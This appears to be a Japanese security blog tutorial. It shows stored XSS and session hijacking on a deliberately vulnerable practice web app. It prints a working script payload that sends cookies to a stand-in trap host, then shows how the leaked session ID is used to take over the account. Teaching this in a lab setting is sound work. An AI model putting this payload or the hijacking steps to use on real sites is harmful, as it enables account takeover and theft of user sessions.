Webセキュリティの小部屋

Twitter のフォローはこちらから Facebook ページはこちら RSSフィードのご登録はこちらから
公開日:2020年8月23日

クロスサイトスクリプティング(XSS)の脆弱性があると簡単にアカウントを乗っ取れるよ!

はじめに

先日は、SQLインジェクションの具体例を見てその怖さを知っていただいたと思いますが、今回はクロスサイトスクリプティング(XSS)の脆弱性がある場合に、アカウト(セッション)が簡単に乗っ取られることを例示します。

先日の記事は以下を参照してください。

 

箱庭BadStore.net

先日に引き続き、サンプルとなるWebアプリケーションは、「箱庭BadStore.net」を使用します。

箱庭BadStore.netは、脆弱性をあらかじめ作り込んである、脆弱性診断練習用のWebアプリケーションになります。

箱庭BadStore.netの詳細については、以下の記事を参照してください。

 

事前準備

事前準備として、箱庭BadStore.netにアカウントの登録を行います。

Full Nameに「testuser」、Email Addressに「test@example.com」、Passwordに「test」と入力し、「Register」からユーザーを新規登録します。

アカウント登録

 

すると、ログインユーザーの情報が、「Unregistered User」から「testuser」になり、ログインできていることが分かります。

ユーザー登録前

ユーザー登録後

 

 

クロスサイトスクリプティング(XSS)の攻撃

今回は、箱庭BadStore.netの掲示板機能にJavaScript を仕込んで、罠サイト(trap.example.com)にセッションIDを含むCookieの情報を渡します。

罠サイトでは、Cookieの情報が送信されたらメールなりで攻撃者に情報が渡るものとします。

では、掲示板に以下の書き込みをしてみます。

XSS攻撃

注目するのは、Comments 欄の以下の記述です。

"><script>window.location='http://trap.example.com/trap.php?'+document.cookie;</script><!--

これは、掲示板表示時のコメント欄のHTML のタグを一度閉じて、<script>タグを挿入しています。そして、<!-- とすることで、コメント欄の後のHTMLをコメント化してHTMLエラーがでないようにしています。そして指定された罠サイトへ、Cookie情報をURLに付与してリダイレクトします。

これにより、掲示板を表示しようとするユーザーがいれば、その度にこの攻撃コメントが表示され、罠サイトにCookie情報を送信するようになります。

 

コメント入力後、しばらく時間がかかりますが、以下のようにエラーページが表示されます。これがXSSの攻撃が成功した状態です。

URLの赤枠の部分に注目してください。「SSOid」というセッションIDが罠サイトの「trap.php」に渡されていることが分かります。

実際には、罠サイトは情報が漏えいしたことを隠すため、元サイトにリダイレクトして何事もなかったようにするでしょう。

XSS攻撃成功

実際に表示されたURLは以下のようになります。

http://trap.example.com/trap.php?SSOid=dGVzdEBleGFtcGxlLmNvbTowOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNjp0ZXN0dXNlcjpV

 

ユーザーアカウント(セッション)を乗っ取る

Cookieの情報を使用すれば、簡単にユーザーアカウント(セッション)を乗っ取ることができます。

先ほどのブラウザはそのままにしておいて、セッション情報が重ならないようにブラウザをシークレットモードで起動します。

注目するのは、ユーザーは「Unregistered User」となっており、ログインしていないという状況です。

 

乗っ取り前

 

このブラウザは Google Chrome ですが、ページで右クリックして、検証 > Application > Cookies へアクセスすると、現在のサイトのCookie情報を確認することができます。

乗っ取り前Cookie

ここに、先ほどの「SSOid」を Name と Value に設定します。

乗っ取り後Cookie

 

ここで、ページを再読み込みしてみましょう。

すると、なんということでしょう!?

「testuser」でログインが成功しているじゃないですか!!

アカウント乗っ取り成功

 

まとめ

今回のこのアカウントの乗っ取りは、クロスサイトスクリプティング(XSS)の脆弱性で漏えいしたCookieに含まれるセッションIDを使用した、「セッションハイジャック」という攻撃になります。

セッションIDが漏えいしてしまうと、ブラウザの標準機能だけでセッションハイジャックの攻撃が成功してしまいます。

そのため、セッションIDはWebアプリケーションでは厳重に守る必要があります。

セッションIDへの攻撃は、「セッションIDの固定化」攻撃などもあります。

セッションIDをどのように守ればよいかは、下記記事を参考にしてください。

おわりに

クロスサイトスクリプティング(XSS)の脆弱性があると、簡単にアカウント(セッション)の乗っ取りができてしまうことが分かったのではないかと思います。

XSS の脆弱性は、対策漏れにより作り込みやすい脆弱性であるためご注意ください。

最近は Webアプリケーションフレームワークで対応されることも多いので、XSS の脆弱性は減ってきているのだと思います。

ですが、XSS の原理を知らないと、簡単に XSS の脆弱性を作り込んでしまうので、XSS の理解は必要でしょうね。

なお、XSSの対策は下記記事を参照してください。


スポンサーリンク





カテゴリー:ブログ

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

CAPTCHA